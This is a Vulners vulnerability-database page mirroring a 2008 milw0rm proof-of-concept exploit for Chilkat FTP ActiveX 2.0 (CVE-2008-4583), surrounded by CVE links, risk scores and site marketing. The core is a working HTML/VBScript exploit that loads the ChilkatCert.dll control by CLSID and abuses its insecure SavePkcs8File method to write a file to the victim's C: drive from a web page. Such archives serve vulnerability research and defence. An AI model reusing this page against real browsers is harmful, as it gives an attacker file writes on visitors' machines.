Lucene search
+L

Chilkat FTP ActiveX 2.0 - 'ChilkatCert.dll' Insecure Method

🗓️ 31 Jan 2008 00:00:00Reported by darkl0rdType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Chilkat FTP ActiveX 2.0 - 'ChilkatCert.dll' Insecure Metho

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2008-4583
15 Oct 200822:45
attackerkb
CVE
CVE-2008-4583
15 Oct 200822:00
cve
Cvelist
CVE-2008-4583
15 Oct 200822:00
cvelist
EUVD
EUVD-2008-4563
7 Oct 202500:30
euvd
NVD
CVE-2008-4583
15 Oct 200822:45
nvd
Prion
Security feature bypass
15 Oct 200822:45
prion
<body bgcolor="#000000">

<div align="center">

<pre><code><span style="font: 10pt verdana;"><font color="#00FF00">=======================================================================
</font></div><center>
 <h1 id="product"><font color="#00FF00" size="2">Chilkat FTP ActiveX 2.0 (ChilkatCert.dll) Insecure Method</font><font face="Verdana" color="#00FF00"><br><br><font size="2"> Web site : <a href="http://www.chilkatsoft.com"><font color="#00FF00">www.chilkatsoft.com</font></a></font></font><font color="#00FF00"><br></font><font face="Verdana" color="#00FF00"><br><font size="2">=======================================================================</font></font></span><font color="#00FF00"><br><span style="font-style:normal; font-variant:normal; font-size:10pt; font-family:Verdana; font-weight:700">Author: darkl0rd<br> <br>E-mail: [email protected]</span><br><span style="font-style:normal; font-variant:normal; font-weight:normal; font-size:10pt; font-family:Verdana"><br> Tested on Windows XP Professional SP2 , with Internet Explorer 6</span></font></h1><p id="product"><font color="#FF0000">Class privateKey</font><font color="#00FF00"><br></font><font color="#FF0000">GUID: {A934AEE3-8896-485F-8A55-ACF2A87BD010}<br>Number of Interfaces: 1<br>Default Interface: IPrivateKey</font></p><p id="product"><font color="#FF0000">SavePkcs8File</font></p></center>

<div align="center"><font color="#00FF00"><object classid='clsid:A934AEE3-8896-485F-8A55-ACF2A87BD010' id='over' align="left" width="1" height="2"></object>
<input language=VBScript onclick=lose() type=button value="Exploit">

<script language='vbscript'>
 Sub lose
   mystr="c:\darkl0rd.txt"
   over.SavePkcs8File mystr
   MyMsg = MsgBox(" Done ! ")
 End Sub
</script>
</span></span>

</font></code></div></p>
</pre>

# milw0rm.com [2008-01-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jan 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.0594
37